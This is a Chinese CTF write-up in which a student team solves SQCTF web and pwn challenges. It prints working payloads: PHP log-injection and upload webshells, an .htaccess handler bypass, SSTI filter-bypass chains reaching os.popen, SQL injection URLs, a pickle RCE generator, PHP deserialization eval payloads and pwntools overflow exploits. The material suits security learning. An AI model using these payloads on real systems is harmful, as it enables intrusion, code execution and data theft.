少女祈祷中...

Flitar战队write-up

战队信息:

名称:Flitar

排名:220

WEB

ezGame

奶奶滴,玩了四次才过

baby include

考察点:日志注入,文件读取

这是我第一次接触日志注入,希望下次接触新事物也能做出来!

我的步骤:

1.测试能不能读取/etc/passwd

发现可以,存在注入漏洞!

image-20250407230918710

2.尝试遍历../:

发现可以,但是没什么用

3.尝试伪协议:

1.尝试直接读取filter:

被禁了,查询了好久,发现我们可以尝试大写

大小写不会影响伪协议

image-20250407233934080

2.尝试读取flag.php

可恶啊!!被这个坑了一天时间,一直在想怎么绕过后缀,搜了一辈子,尝试了

1
2
3
4
$
%
[]
@....

各种各样的玩意来尝试绕过,都失败了

3.测试其他伪协议,测试data/input伪协议来RCE
1
2
3
DATA://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8%2b

也就是:DATA://text/plain,<?php system("ls");?>

image-20250407234451628l

哈?,直接allow_url_include=0了。。。那input函数也不行了。

陷入了僵局。

我在这里消耗一天,满课,一直没有时间来证明我的猜想。

4.柳暗花明又一村!

总结目前困境:

1
2
1.无法读取flag.php("甚至都不知道是否存在这个文件")
2.无法RCE,allow_url_include=0

真的无法 RCE 吗?

我突发奇想,是否可以别的RCE,询问一下ai,居然真的有!

image-20250407235606321

5.日志注入

我们有两种方法:

1.抓包,在BP里面修改

1
2
3
4
5
User-Agent: <?php system($_GET['cmd']); ?>

这个失败了,换一个代码(不知道为什么 'system' 老是不行,就换 'shell_exec'

User-Agent: <?= shell_exec('ls'); ?>

2.通过cmd:

1
2
3
curl -A "<?= shell_exec('ls'); ?>" http://challenge.qsnctf.com:32272/

curl -A "<?= shell_exec('cat flag.php'); ?>" http://challenge.qsnctf.com:32272/

ls发现确实是有flag.php

6.通过下面代码来监听:
1
?look=file:///var/log/nginx/access.log

失败页面

image-20250408000440937

好像是无法读取system函数

成功页面

s

upload

很简单

流程:

1.BP抓包修改为php,直接上传成功。。。太简单了吧

image-20250408003009149

2.交给剑蚁

发现找不到flag位置

3.实在找不到位置,直接RCE好了

1
<?php system('find / -iname "*flag*"');?>

image-20250408003000462

得到:

image-20250408003142227

找到一个比较短的,猜测为flag:

1
<?php system('cat /usr/bin/dpkg-buildflags');?>

居然不是,那可能在环境变量。

4.查询环境变量

image-20250408003725342

不是哥们

5.只能慢慢找了。。。。

折磨我这么久,终于找到你了

image-20250408005318925

1
2
3
查询代码:<?php system('find / -iname "*fl*"');?>

执行代码:<?php system('cat /ffffffllllaaaagg');?>

得到flag:

1
sqctf{35c2011b992f4975a593586a9ee22149}

商师一日游

image-20250408083221450

1.点击源码:

image-20250408083250434

1
2
3
4
<!--苦苦找寻, 在附近的草丛中发现的你的令牌,
你成功进入校园 ===> /atc2cnzd.php
旅行碎片1: sqctf{-->

2.发送cookie

1
curl -H "Cookie: fish=strong" challenge.qsnctf.com:32546/atc2cnzd.php

image-20250408083742015

也可以用BP抓包:

image-20250408083828947

1
2
旅行碎片2: 1063
你继续前进 ===> /atc3oklm.php

3.进入终端,在devtool中找到复活币

这是啥玩意嘞

image-20250408084339355

为什么BP抓包里面看不见呢

1
2
Tourist_fragment3: 0e7d5f
Information: Let's fight again ===> /atc4zztg.php

4.直接发送(打开)robots.txt

image-20250408084825212

image-20250408084852504

1
2
3
Tourist fragment4: 5843a2b

Next location ===> /atc5uupl.php

5.正则匹配:

由于一个会匹配换行和大小写 (im),一个只会匹配大小写i

1
2
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a))

输入:

1
http://challenge.qsnctf.com:32546/atc5uupl.php?hhh=%0Aphp%0A

(记得,要url编码,不然无法识别)

image-20250408085946844

1
2
旅行碎片5: c4448a35
你继续前进 ===> /atc6ertg.php

6.POST提交

image-20250408090247805

提醒我们要用 POST 提交 auth=Hidden Levels

image-20250408090335929jiede

解得:

1
2
验证成功, 欢迎来到隐藏关卡: 继续前进
别忘了收集旅行碎片6: 1cd02

sqctf{10630e7d5f5843a2bc4448a351cd02}

7.执行任意代码?

image-20250408090658692

早知道这样子就不做了(bushi)

8.拼接:

1
2
sqctf{10630e7d5f5843a2bc4448a351cd02}
错误的?还差哪里呢

看来还是得RCE

通过剑蚁链接:

image-20250408091830577

拼得:

1
sqctf{10630e7d5f5843a2bc4448a351cd0215}

My blog

直接扫描一下输入账号密码就行了

image-20250408094524367

image-20250408094511045

1
sqctf{a8e4fe74b2f546d1aca49fc6f23535c0}

eeaassyy

直接

1
view-source:http://challenge.qsnctf.com:30656/

嘿嘿嘿

怎么这么简单。。。

我还以为是pop链,没想到直接输入:

1
data=O:3:"hhh":1:{s:7:"content";s:8:"GET_FLAG";}

就可以了

image-20250408141645164

1
sqctf{f302b0b7dc064a96b990ef1de451315c}

File_download

据题目提醒,可能是XXE

image-20250408193352670

一.尝试文件读取

1.进入页面发现是登入页面,输入密码抓包发现是POST传输:

image-20250408193450595

发现会解析XML

image-20250408193956901

2.点开help

1
get or post filename to /DownloadServlet ?

那我们便猜测是filename

3.读取:

报错了,发现报错页面怎么这么眼熟?

image-20250408233549645

我是不是做过类似的?

4.找到原型题目:[RoarCTF 2019]Easy Java

参考我的别的blog:

JAVA | Flight-star’blog

5.读取下载文件:

有个坑点,只有POST传输才能下载文件:

image-20250408235134639

再通过 JDec - Java Decompiler Online 来解读

image-20250408235623056

6.最终flag:

问ai破解脚本:

image-20250408234330709

1
2
3
4
我还以为是
sqctf{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}
没想到是:
SQCTF{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}

唯一:

考察点:SSTIset构造绕过

1.没有提醒,只能猜测:

我猜想是不是传输note(笔记),没想到是真的!

image-20250409000537379

看来存在SSTI,(怎么发现的?直觉。。。。)

2.做题:

直接输入:

1
http://challenge.qsnctf.com:32595/?note={{%27%27.__class__.__mro__[2].__subclasses__()}}

返回:

image-20250409000739850

居然有过滤!

3.经过测试,发现过滤

1
2
3
4
5
{{cofig}}
{{__}}
{{os}}
{{flag}}
builtins

4.尝试chr绕过:

1
{{ ""[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)] }}

不知道为什么,报错了?这是为什么呢

5.尝试构造绕过:

1
http://challenge.qsnctf.com:31181/?note={%set a='_' %}{%set b='_cla' %}{%set c='ss_'%}{{ ""[a ~ a ~ b ~ c ~ a ~ a] }}

成功回显,发现注入点:

image-20250409190601919

叫ai给我列出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://challenge.qsnctf.com:32114/?note=
{% set a='_' %}
{% set b='_cla' %}
{% set c='ss_' %}
{% set d='mro' %}
{% set e='subclasses' %}
{{
""[a ~ b ~ c ~ a]
|attr(a ~ a ~ d ~ a ~ a)
|attr(a ~ '_getitem_' ~ a)(1)
|attr(a ~ a ~ e ~ a ~ a)()
}}
等效于:
''.__class__.__mro__[1].__subclasses__()

读取到

image-20250409230055333

再构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
http://challenge.qsnctf.com:32114/?note=
{% set a='_' %}
{% set b='_cla' %}
{% set c='ss_' %}
{% set d='mro' %}
{% set e='subclasses' %}
{% set f='init' %}
{% set g='glo' %}
{% set h='bals' %}
{{
""[a ~ b ~ c ~ a]
|attr(a ~ a ~ d ~ a ~ a)
|attr(a ~ '_getitem_' ~ a)(1)
|attr(a ~ a ~ e ~ a ~ a)()
|attr(a ~ '_getitem_' ~ a)(132)
|attr(a ~ a ~ f ~ a ~ a)
|attr(a ~ a ~ g ~ h ~ a ~ a)
}}
相当于:
{{ ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__ }}

image-20250409230836899

再再构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
http://challenge.qsnctf.com:31481//?note=
{% set a='_' %}
{% set b='_cla' %}
{% set c='ss_' %}
{% set d='mro' %}
{% set e='subclasses' %}
{% set g='init' %}
{% set h='globals' %}
{% set i='pop' %}
{% set j='en' %}
{{
""[a ~ b ~ c ~ a]
|attr(a ~ a ~ d ~ a ~ a)
|attr(a ~ a ~ 'getitem' ~ a ~ a)(2)
|attr(a ~ a ~ e ~ a ~ a)()
|attr(a ~ a ~ 'getitem' ~ a ~ a)(132)
|attr(a ~ a ~ g ~ a ~ a)
|attr(a ~ a ~ h ~ a ~ a)
[['o''s']|join]
|attr(i ~ j)('cat /etc/passwd')
|attr('read')()
}}
相当于:
{{ ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read() }}

奇怪,为什么一直没有返回页面???

看别人答案:

1
?note={{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("get")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")()}}

一句话即可!!!!!

baby rce

考察点:代码审计

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 <?php
error_reporting(0);
highlight_file(__FILE__);
extract($_GET);

$token = false;
if(isset($param1) && isset($param2)){
if(sha1($param1) == sha1($param2)){
$token = true;
echo "Level 1 pass\n";
}
}

class TYctf{
public $person = 20;
public $computer_number = 30;

function getNumber(){
if(isset($this->person)) {
echo $this->person;
}
}
function isFullUse(){
if($this->person != $this->computer_number){
echo "computer is lacking !!!\n";
}
else{
echo "computer is enough !!!\n";
}
}
static function getKey(){
include ("flag.php");
echo "Level 2 pass\n";
echo "You are winner, this is your reward: \n";
echo $flag;
}
}

if($token){
call_user_func($_POST['payload']);
}

?>

重点代码:

extract($_GET);

call_user_func($_POST['payload']);

1
2
extract:对任意传入的get都创建一个变量,可以引发变量覆盖
call_user_func:作用是调用一个用户自定义的函数或者方法。借助这个函数,你能够在运行时动态地调用函数,增强代码的灵活性。

构造:

1
2
3
4
5
6
GET:
http://challenge.qsnctf.com:32624/?param1[]=1&param2[]=2&obj = new TYctf()
POST:
payload[0]=TYctf&payload[1]=getKey
得到flag:
sqctf{c576227cd1f945909067255772ea3f55}

有坑啊:

1
2
1.function isFullUse()根本没用啊!!!!
2.call_user_func必须传入数组!我输入payload='TYctf','getKey'试了半天。。。。

你必须输入这个数字:

1
2
3
http://challenge.qsnctf.com:32511/?sqctf=114514.1919810
得到:
sqctf{1b90dae2394d4346b129213ba01709df}

RCE ME

源码:

1
2
3
4
5
6
7
<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
system($command);
} else {
print("你小子干什么呢?");
}

1.无过滤

尝试ls发现可以正常返回:

image-20250410125022902

2.使用lsnl

1
2
3
http://challenge.qsnctf.com:30325/?com=ls /
意思:列出根目录下的子目录
加*区别:没加是单层,加了是全部列出

得到

image-20250410125212000

发现确实是在根目录下的:

不知道怎么访问,问了ai才知道可以用 nl

1
2
http://challenge.qsnctf.com:30325/?com=nl /*
把子目录下的内容读取

得到:

image-20250410125646788

1
sqctf{18ca19167f0148ed81502fb6d5bf70ec} 

补充:

catnlod 的核心区别

命令 功能 输出示例 CTF 场景优势
cat 直接连接文件并输出内容 flag{example} 简洁,适合快速查看文本文件
nl 为每一行添加行号后输出 1 flag{example} 区分多文件内容,定位关键行
od 以八进制/十六进制格式转储文件内容 0000000 066 154 141 147 173 145... 读取二进制文件或绕过特殊字符过滤

Ping

换行符解决:

1
http://challenge.qsnctf.com:31165/?ip=127.0.0.1%0Acat /flag
1
sqctf{c866ed5d4e444e219824a4c48a055c4d} 

小小查询系统:

sql报错注入,大小写绕过,OFFSET

1
http://challenge.qsnctf.com:30902/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database())))--+

image-20250410173520850

1
2
http://challenge.qsnctf.com:31757/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()))) --       是错误的
http://challenge.qsnctf.com:30902/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE())))--+ 是正确的

image-20250410170635239

1
2
3
4
5
6
7
8
http://challenge.qsnctf.com:31757/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = users)))--+
错误:未正常包裹

http://challenge.qsnctf.com:30902/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users')))--+
错误,返回的不一定是这个数据库的内容

http://challenge.qsnctf.com:31586/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users' AND table_schema = DATABASE())))--+
正确,补充说明为这个库

image-20250410172901401

image-20250410185151412

1
http://challenge.qsnctf.com:31586/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT group_concat(password) FROM users)))--+

好像。。。没什么用?

image-20250410190223578

问ai才知道就返回了一半

1
http://challenge.qsnctf.com:31667/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING( (SELECT GROUP_CONCAT(username) FROM users), 30, 60 )))--+

image-20250410192854983

1
http://challenge.qsnctf.com:31667/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING( (SELECT GROUP_CONCAT(password) FROM users), 310, 340 )))--+

image-20250410193201002

啊?没有!!

看来得查看有没有别的库了!!

1
2
3
?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))--+

?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING( (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata), 30, 60)))--+

image-20250410195349490

image-20250410201534447

果然在别的库!

找别的表:

1
http://challenge.qsnctf.com:32378/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'ctf')))--+

image-20250410195441105

找列

1
http://challenge.qsnctf.com:32378/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'ctf' AND table_name = 'flag')))--+

image-20250410195906816

1
http://challenge.qsnctf.com:32378/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT value FROM ctf.flag LIMIT 1), 0x7e))--+

突然释怀的死了:(不是,出题人你有病啊

image-20250410201225378

我就不信了!

1
2
3
http://challenge.qsnctf.com:30225/?id=-1'  UNION SELECT 1, 2,COUNT(*) 
FROM information_schema.COLUMNS
WHERE COLUMN_NAME LIKE '%flag%'--+

测试有几个:

image-20250410205027535

尝试过程!!!!!

寻找列的名字:

1
2
http://challenge.qsnctf.com:30225/?id=-1'  UNION SELECT 1, 2,CONCAT('Table: ', TABLE_NAME, ' - Column: ', COLUMN_NAME) FROM information_schema.COLUMNS WHERE COLUMN_NAME LIKE '%flag%' LIMIT 1 OFFSET 0--+
通过修改OFFSET来测试第几个

可先通过下面代码测试有几个

1
2
3
?id=-1' UNION SELECT COUNT(*) 
FROM information_schema.COLUMNS
WHERE COLUMN_NAME LIKE '%SQ%'--+

都不行。。不如从头再来一遍吧!ctfer不怕困难!

最终payload:

1
http://challenge.qsnctf.com:30225/?id=-1' UNION SELECT 1,2,group_concat(concat_ws('/',id,value)) from ctf.flag--+

image-20250410211657524

不是哥们,为什么上面的可以返回,下面的不可以

1
http://challenge.qsnctf.com:32378/?id=1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT value FROM ctf.flag LIMIT 1), 0x7e))--+
1
SQCTF{66a47fc2-cf6e-7648-b523-d29363b5580c}

后面发现,只需要改为:

1
http://challenge.qsnctf.com:30225/?id=-1' OR EXTRACTVALUE(1, CONCAT(0x7e, (SELECT value FROM ctf.flag LIMIT 1 OFFSET 1), 0x7e))--+

就可以读出来了。。。。

image-20250410212333293

有意思!!!

Are you from SQNU?

https的构造

1.post构造:

image-20250411152252559

1
2
POST:
tyctf=1&hhh=abc

2.Referer构造

抓包构造:

image-20250411152343667

1
Referer: https://sqnu-tysec.com

image-20250411152436844

3.User-Agent(浏览器)构造

image-20250411152520272

1
User-Agent: TYsecBrowser

4.本地伪造

image-20250411152840686

1
X-Forwarded-For: 127.0.0.1

image-20250411222655672

5.cookie伪造

image-20250411222930207

1
Cookie: user=admin
1
sqctf{a807404102144dc09321556b1f1e5e04}

伪装:

考察点:cookie伪造

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from flask import Flask, session, request, render_template_string
import flask
import os

app = Flask(__name__)
app.secret_key = 'love'

@app.route('/')
def index():
session['role'] = {
'is_admin': 0,
'name': 'aiyamaya'
}
with open(__file__, 'r') as file:
code = file.read()
return code

@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'Without you, you are an intruder!'

if role.get('is_admin') == 1 and role.get('name') == 'sjx':
flag = os.popen("cat /flag").read()
message = "Oh, You get me! The flag is: %s" % flag
return render_template_string(message)
else:
return "Error: You don't have the power!"

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

1.代码解析:

1
role = session.get('role')

创造session

1
if role.get('is_admin') == 1 and role.get('name') == 'sjx'

session中两个对象名字要是对了就执行cat /flag

简简单单的cookie伪造:

1
2
3
4
5
6
7
8
1.下载工具箱:
pip install flask-unsign

2.构造:
flask-unsign --sign --cookie "{'role': {'is_admin': 1, 'name': 'sjx'}}" --secret 'love'

3.发送cookie(懒得抓包了)
C:\Users\朔星>curl -H "Cookie: session=eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_jIaw.G1zAlHDjHnzF67MZd4MWcS9JoiY" http://challenge.qsnctf.com:31912/admin
1
Oh, You get me! The flag is: sqctf{0daeaa5589454f40b70376fa3d976f79}

哎呀大大大黑塔

出这题的意义是什么?

输入Bv号得到源码,输入反序列化即可:

1
data=O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}

upload2

修改头文件就行:

1
2
3
4
Content-Type: image/jpeg

GIF89a
<script language="pHp">@eval($_POST['cmd'])</script>

剑蚁链接

image-20250411171941681

得到flag;

之前忘记写flag了,现在补一下:

1

ggoodd

写个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://challenge.qsnctf.com:30525/" # 替换为实际的目标 URL
data = {
"id": "abc"
}
params = {
"json": '{"x": "cba"}'
}

response = requests.post(url, data=data, params=params)
print(response.text)

得到:

1
sqctf{f681df505d114e11a0396603da15bf1c}

计算题

写一个脚本就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
from bs4 import BeautifulSoup

s = requests.Session()
url = 'http://challenge.qsnctf.com:30650/'

# 1. 发送 GET 请求获取初始页面
r = s.get(url)
content = r.text
soup = BeautifulSoup(content, 'html.parser') # 使用内置解析器避免 lxml 缺失问题

# 2. 提取数学表达式(位于 class="challenge" 的 div 中)
challenge_div = soup.find('div', class_='challenge')
expression = challenge_div.get_text().strip()

# 3. 计算表达式结果
result = eval(expression)

# 4. 提交计算结果(注意表单字段名是 'value')
post_response = s.post(url, data={'value': result})

# 5. 解析成功页面,获取 /flag 路径(或直接拼接 URL)
# 这里直接访问 /flag,因为 href 是相对路径
flag_url = url + 'flag' # 或使用 urljoin 更严谨:from urllib.parse import urljoin; flag_url = urljoin(url, '/flag')
flag_response = s.get(flag_url)

# 6. 打印 Flag(可能在页面中直接显示)
print("Flag 是:", flag_response.text)
1
sqctf{90c050ee06fe46f88efc062b5fca0338}

图片展示功能

考察点:配置文件冲突

直接上传一个htaccess文件就行:

1
2
3
4
5
6
7
------geckoformboundaryaf67d0729606b7673f9c9cc1df4c9ca0
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: application/octet-stream

<FilesMatch "\.(jpg|jpeg)$">
SetHandler application/x-httpd-php
</FilesMatch>

image-20250413091117865

再上传222.jpg就行

image-20250413091151566

链接得flag:

1
sqctf{1dc6e44118234c66ad971afbc5a0d774}

有坑:

不能在htaccess头部加上任何修饰

1
2
3
4
5
GIF89a
#define width 1
#define height 1
static unsigned char bits[] = { 0x00 };
都不行!!!!

Pickle

考察点:EZ反序列化

写在前面:

我真的服了,你加你那n干什么,

image-20250413102039282

害的我查了那么久的/nflag!!!!!!

解决方法:

写一个反序列化脚本就行:

1
2
3
4
5
6
7
8
9
10
import pickle
import base64

class Exploit:
def __reduce__(self):
# 直接执行ls并返回结果(适用于显示反序列化结果的场景)
return (__import__('subprocess').check_output, (['cat','/flag'],))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

得到:

1
sqctf{01905ad6f2b14228be7ff6671572a99f}

开发人员的不小心

扫描得到备份文件:

image-20250413103600446

打开发现flag:

image-20250413103540991

1
sqctf{0195684076f54a0a9911680fbbf99a69}

自私的小s

俺还以为是字符串逃逸呢

抓包发现在cookie里面有提醒:

image-20250413112404453

访问/end.php得到路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
highlight_file(__FILE__);
class Genshin_impact{
private $value;

public function __construct($v){
$this->value = $v;
}

function __destruct(){
echo eval($this->value);
}
}

$payload=$_GET['payload'];
$payload=str_replace("%","nonono",$payload);
unserialize($payload);
?>

构造:

1
2
3
4
5
/end.php?payload=O:14:"Genshin_impact":1:{S:21:"\00Genshin_impact\00value";s:13:"system('ls');";}

/end.php?payload=O:14:"Genshin_impact":1:{S:21:"\00Genshin_impact\00value";s:15:"system('ls /');";}

/end.php?payload=O:14:"Genshin_impact":1:{S:21:"\00Genshin_impact\00value";s:20:"system('cat /flag');";}
1
sqctf{9dd57f92a13547128a5bc595992219f5} 

PWN

浅红欺醉粉,肯信有江梅

nc 靶机 ,输入

1
2
3
ls
cat flag

领取你的小猫娘

简单栈溢出,输入搭配覆盖v5就行了

1
2
3
4
5
6
7
8
from pwn import*                                                                                                        context(os='linux',arch='amd64',log_level='debug')
p=remote("challenge.qsnctf.com",31446)

system=0x401232
payload=b'a'*(0x50)+p64(system)
p.sendline(payload)

p.interactive()

江南无所有,聊赠一枝春

题目提示藏有gift,打开ida查找
![[gift.png]]
看到漏洞
exp:

1
2
3
4
5
6
7
8
from pwn import*                                                                                                        context(os='linux',arch='amd64',log_level='debug')
p=remote("challenge.qsnctf.com",31049)

system=0x4011DC
payload=b'a'*(0x48)+p64(system)
p.sendlineafter(b'gift?\n',payload)

p.interactive()

借的东风破金锁

打开ida,看见if函数条件,点击auth_code,查看它的值是53514E55435446h

1
.data:0000000000004010 46 54 43 55 4E 51 53 00       auth_code dq 53514E55435446h

丢给ai,转化为小端存储
![[ai.png]]
exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *
p=remote('challenge.qsnctf.com',32742)

#p=process('./key')

payload=b'\x46\x54\x43\x55\x4E\x51\x53\x00' + b'A'*8

p.sendline(payload)

p.interactive()